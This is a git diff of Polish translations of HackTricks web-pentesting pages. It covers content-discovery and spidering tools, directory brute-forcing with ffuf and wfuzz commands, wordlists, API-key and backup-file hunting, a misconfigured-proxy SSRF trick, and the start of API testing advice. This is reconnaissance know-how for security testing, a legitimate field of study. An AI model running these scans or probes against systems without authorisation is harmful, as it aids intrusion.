* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści łączące kilka opcji poprzednich narzędzi
|
||||||
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
|
||||||
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map dostarczy uporządkowany kod JS
|
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które po podaniu adresu URL .js.map dostarczy ci uporządkowany kod JS
|
||||||
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
|
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Jest to narzędzie używane do odkrywania punktów końcowych dla określonego celu.
|
||||||
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
|
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków
|
||||||
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukaj (nawet poprzez wypełnianie formularzy) i znajdź również informacje poufne, korzystając z określonych wyrażeń regularnych.
|
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukaj (nawet poprzez wypełnianie formularzy) i znajdź również informacje poufne, korzystając z określonych wyrażeń regularnych.
|
||||||
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
|
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny pająk GUI do bezpieczeństwa sieciowego zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
|
||||||
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Jest to pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
|
||||||
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
|
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste rozszerzenie **Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu utworzenia niestandardowej listy słów do fuzzowania i wyliczania.
|
||||||
|
* [**katana**](https://github.com/projectdiscovery/katana) (go): Niesamowite narzędzie do tego.
|
||||||
|
|
||||||
### Przeszukiwanie brutalne katalogów i plików
|
### Brute Force katalogów i plików
|
||||||
|
|
||||||
Zacznij **przeszukiwanie brutalne** od katalogu głównego i upewnij się, że przeszukasz **wszystkie** znalezione **katalogi** korzystając z **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to zrobić przeszukiwanie brutalne **rekurencyjnie** i dołączając na początku używanej listy słów nazwy znalezionych katalogów).\
|
Rozpocznij **brute force** od katalogu głównego i upewnij się, że **brute force** jest wykonywany na **wszystkich** znalezionych **katalogach** za pomocą **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonać to **rekurencyjnie** i dołączyć na początku używanej listy słów nazwy znalezionych katalogów).\
|
||||||
Narzędzia:
|
Narzędzia:
|
||||||
|
|
||||||
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwala na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
|
* **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na automatyczne podpisywanie certyfikatów i rekurencyjne wyszukiwanie. Zbyt wolne w porównaniu z innymi opcjami.
|
||||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
|
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na automatyczne podpisywanie certyfikatów, ale** umożliwia rekurencyjne wyszukiwanie.
|
||||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, nie ma funkcji rekurencyjnego wyszukiwania.
|
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na automatyczne podpisywanie certyfikatów, **nie ma** rekurencyjnego wyszukiwania.
|
||||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
|
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, obsługuje rekurencyjne wyszukiwanie.**
|
||||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
* [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
|
@ -266,7 +267,7 @@ Narzędzia:
|
||||||
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
|
||||||
* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
* Słownik dołączony do [**Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||||
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
* [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
|
||||||
* [Listy słów Assetnote](https://wordlists.assetnote.io)
|
* [Słowniki Assetnote](https://wordlists.assetnote.io)
|
||||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
|
||||||
* raft-large-directories-lowercase.txt
|
* raft-large-directories-lowercase.txt
|
||||||
* directory-list-2.3-medium.txt
|
* directory-list-2.3-medium.txt
|
||||||
|
@ -280,26 +281,26 @@ Narzędzia:
|
||||||
* _/usr/share/wordlists/dirb/big.txt_
|
* _/usr/share/wordlists/dirb/big.txt_
|
||||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||||
|
|
||||||
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnego lub przeszukiwania, należy go poddać atakowi brutalnemu._
|
_Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutalnej siły lub przeszukiwania, należy go poddać atakowi brutalnej siły._
|
||||||
|
|
||||||
### Co sprawdzić w każdym znalezionym pliku
|
### Co sprawdzić w każdym znalezionym pliku
|
||||||
|
|
||||||
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcia.
|
* [**Sprawdzacz uszkodzonych linków**](https://github.com/stevenvachon/broken-link-checker): Znajdź uszkodzone linki wewnątrz plików HTML, które mogą być podatne na przejęcie
|
||||||
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazewnictwa kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
* **Kopie zapasowe plików**: Gdy znajdziesz wszystkie pliki, poszukaj kopii zapasowych wszystkich plików wykonywalnych ("_.php_", "_.aspx_"...). Powszechne warianty nazw kopii zapasowych to: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Możesz również skorzystać z narzędzi [**bfac**](https://github.com/mazen160/bfac) **lub** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
|
||||||
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
|
* **Odkryj nowe parametry**: Możesz użyć narzędzi takich jak [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **do odkrywania ukrytych parametrów. Jeśli możesz, spróbuj wyszukać** ukryte parametry w każdym pliku wykonywalnym na stronie internetowej.
|
||||||
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
* _Wszystkie domyślne listy słów Arjuna:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||||
* _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
* _Param-miner „params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||||
* _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
* _Assetnote „parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
* _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
* _nullenc0de „params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
|
* **Komentarze:** Sprawdź komentarze we wszystkich plikach, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
|
||||||
* Jeśli grasz w **CTF**, „powszechnym” trikiem jest **ukrycie** **informacji** w komentarzach na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
* Jeśli bawisz się w **CTF**, „powszechnym” trikiem jest **ukrycie informacji** wewnątrz komentarzy na **prawej** **stronie** **strony** (używając **setek** **spacji**, aby nie widzieć danych podczas otwierania kodu źródłowego w przeglądarce). Inna możliwość to użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
|
||||||
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik wskazujący, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
* **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik wskazujący, jak korzystać z kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz skorzystać z projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
|
* Klucze Google API: Jeśli znajdziesz jakiś klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik, możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner), aby sprawdzić, do których interfejsów API ma dostęp klucz.
|
||||||
* **S3 Buckets**: Podczas przeszukiwania zwróć uwagę, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **S3 bucketem**. W takim przypadku [**sprawdź** **uprawnienia** kubełka](buckets/).
|
* **S3 Buckets**: Podczas przeszukiwania zobacz, czy jakikolwiek **poddomena** lub **link** jest powiązany z jakimś **kubłem S3**. W takim przypadku [**sprawdź** uprawnienia **kubła**](buckets/).
|
||||||
|
|
||||||
### Specjalne znaleziska
|
### Specjalne znaleziska
|
||||||
|
|
||||||
**Podczas** przeszukiwania i **ataku brutalnego** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
**Podczas** przeprowadzania **przeszukiwania** i **ataków brutalnej siły** możesz natrafić na **interesujące** **rzeczy**, na które musisz **zwrócić uwagę**.
|
||||||
|
|
||||||
**Interesujące pliki**
|
**Interesujące pliki**
|
||||||
|
|
||||||
|
@ -307,13 +308,13 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
|
||||||
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
|
* [Jeśli znajdziesz plik _**.git**_, można z niego wyciągnąć pewne informacje](git.md)
|
||||||
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
|
* Jeśli znajdziesz plik _**.env**_, można w nim znaleźć informacje takie jak klucze API, hasła do baz danych i inne informacje.
|
||||||
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
|
* Jeśli znajdziesz **punkty końcowe API**, [również powinieneś je przetestować](web-api-pentesting.md). Nie są to pliki, ale prawdopodobnie będą na nie podobne.
|
||||||
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz na przykład użyć [**JSMon**](https://github.com/robre/jsmon)**.**
|
* **Pliki JS**: W sekcji przeszukiwania wspomniano o kilku narzędziach, które mogą wydobywać ścieżki z plików JS. Ponadto, byłoby interesujące **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać na potencjalną podatność wprowadzoną w kodzie. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||||
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
* Sprawdź znalezione pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole), aby sprawdzić, czy są podatne.
|
||||||
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
* **Deobfuskator i dekoder JavaScript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||||
* **Uporządkowany kod JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
* **Uporządkowujący JavaScript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||||
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
* **Deobfuskacja JsFuck** (javascript z znakami:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
|
||||||
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||||
* W kilku sytuacjach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com)
|
* W kilku przypadkach będziesz musiał **zrozumieć wyrażenia regularne** używane, co może być przydatne: [https://regex101.com/](https://regex101.com)
|
||||||
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
|
* Możesz również **monitorować pliki, w których wykryto formularze**, ponieważ zmiana w parametrze lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność.
|
||||||
|
|
||||||
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
|
**403 Forbidden/Basic Authentication/401 Unauthorized (omijanie)**
|
||||||
|
@ -324,7 +325,7 @@ _Zauważ, że za każdym razem, gdy odkryjesz nowy katalog podczas ataku brutaln
|
||||||
|
|
||||||
**502 Proxy Error**
|
**502 Proxy Error**
|
||||||
|
|
||||||
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ **i znajdziesz** SSRF.
|
Jeśli jakakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany serwer proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem hosta i innymi standardowymi nagłówkami), **serwer proxy** spróbuje **uzyskać dostęp do _google.com_** i odkryjesz **SSRF**.
|
||||||
|
|
||||||
**Autoryzacja NTLM - Ujawnienie informacji**
|
**Autoryzacja NTLM - Ujawnienie informacji**
|
||||||
|
|
||||||
|
@ -334,10 +335,10 @@ Możesz to **zautomatyzować** za pomocą **wtyczki nmap** "_http-ntlm-info.nse_
|
||||||
|
|
||||||
**Przekierowanie HTTP (CTF)**
|
**Przekierowanie HTTP (CTF)**
|
||||||
|
|
||||||
Możliwe jest **umieszczenie treści** w **przekierowaniu**. Ta treść **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** wewnątrz.
|
Możliwe jest **umieszczenie treści** wewnątrz **przekierowania**. Ta treść **nie będzie pokazywana użytkownikowi** (ponieważ przeglądarka wykonuje przekierowanie), ale coś może być **ukryte** wewnątrz.
|
||||||
### Sprawdzanie podatności sieci Web
|
### Sprawdzanie podatności sieci Web
|
||||||
|
|
||||||
Po wykonaniu kompleksowego wyliczenia aplikacji sieci Web nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
|
Po wykonaniu kompleksowego wyliczenia aplikacji sieciowej nadszedł czas, aby sprawdzić wiele możliwych podatności. Możesz znaleźć listę kontrolną tutaj:
|
||||||
|
|
||||||
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
|
||||||
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
@ -355,7 +356,7 @@ Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania rzeczy - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
Jeśli interesuje Cię **kariera hakera** i chcesz hakować nie do złamania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -435,10 +436,10 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,11 +6,11 @@
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -27,9 +27,9 @@ Testowanie penetracyjne interfejsów API wymaga strukturalnego podejścia do odk
|
||||||
|
|
||||||
### **Zrozumienie Typów API**
|
### **Zrozumienie Typów API**
|
||||||
|
|
||||||
* **Usługi sieciowe SOAP/XML**: Wykorzystaj format WSDL do dokumentacji, zazwyczaj dostępnej pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są pomocne przy analizowaniu i generowaniu żądań. Przykładowa dokumentacja jest dostępna na stronie [DNE Online](http://www.dneonline.com/calculator.asmx).
|
* **Usługi sieciowe SOAP/XML**: Wykorzystaj format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są przydatne do analizy i generowania żądań. Przykładowa dokumentacja jest dostępna na stronie [DNE Online](http://www.dneonline.com/calculator.asmx).
|
||||||
* **API REST (JSON)**: Dokumentacja często jest dostępna w plikach WADL, ale narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) zapewniają bardziej przyjazny interfejs do interakcji. **Postman** to wartościowe narzędzie do tworzenia i zarządzania przykładowymi żądaniami.
|
* **API REST (JSON)**: Dokumentacja często jest dostępna w plikach WADL, ale narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) zapewniają bardziej przyjazny interfejs do interakcji. **Postman** to wartościowe narzędzie do tworzenia i zarządzania przykładowymi żądaniami.
|
||||||
* **GraphQL**: Język zapytań dla interfejsów API oferujący kompletny i zrozumiały opis danych w twoim API.
|
* **GraphQL**: Język zapytań dla interfejsów API oferujący kompletny i zrozumiały opis danych w Twoim API.
|
||||||
|
|
||||||
### **Laboratoria Praktyczne**
|
### **Laboratoria Praktyczne**
|
||||||
|
|
||||||
|
@ -37,32 +37,33 @@ Testowanie penetracyjne interfejsów API wymaga strukturalnego podejścia do odk
|
||||||
|
|
||||||
### **Skuteczne Triki do Testowania Interfejsów API**
|
### **Skuteczne Triki do Testowania Interfejsów API**
|
||||||
|
|
||||||
* **Podatności SOAP/XML**: Badaj podatności XXE, chociaż deklaracje DTD są często ograniczone. Tagi CDATA mogą umożliwić wstawienie ładunku, jeśli XML pozostaje poprawne.
|
* **Podatności SOAP/XML**: Badaj podatności XXE, chociaż deklaracje DTD są często ograniczone. Tagi CDATA mogą umożliwić wstawienie ładunku, jeśli XML pozostaje poprawny.
|
||||||
* **Eskalacja uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu.
|
